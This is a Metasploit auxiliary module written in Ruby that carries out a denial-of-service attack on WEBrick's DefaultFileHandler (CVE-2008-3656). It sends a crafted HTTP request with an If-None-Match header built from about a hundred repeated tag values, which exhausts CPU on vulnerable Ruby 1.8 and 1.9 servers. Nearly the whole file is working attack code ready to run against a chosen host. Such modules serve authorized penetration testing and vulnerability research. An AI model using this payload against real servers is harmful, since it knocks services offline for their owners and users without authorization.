require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Dos
	
	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Ruby WEBrick::HTTP::DefaultFileHandler DoS',
			'Description'    => %q{
				The WEBrick::HTTP::DefaultFileHandler in WEBrick in
				Ruby 1.8.5 and earlier, 1.8.6 to 1.8.6-p286, 1.8.7
				to 1.8.7-p71, and 1.9 to r18423 allows for a DoS
				(CPU consumption) via a crafted HTTP request.
			},
			'Author'         => 'Kris Katterjohn <katterjohn@gmail.com>',
			'License'        => MSF_LICENSE,
			'Version'        => '1',
			'References'     => [
				[ 'BID', '30644'],
				[ 'CVE', '2008-3656'],
				[ 'URL', 'http://www.ruby-lang.org/en/news/2008/08/08/multiple-vulnerabilities-in-ruby/']
			],
			'DisclosureDate' => 'Aug 08 2008'))

		register_options([
			OptString.new('URI', [ true, 'URI to request', '/' ])
		])
	end

	def run
		begin
			o = {
				'uri' => datastore['URI'] || '/',
				'headers' => {
					'If-None-Match' => %q{foo=""} + %q{bar="baz" } * 100
				}
			}

			c = connect(o)
			c.send_request(c.request_raw(o))

			print_status("Request sent to #{rhost}:#{rport}")
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			print_status("Couldn't connect to #{rhost}:#{rport}")
		rescue ::Timeout::Error, ::Errno::EPIPE			
		end
	end
end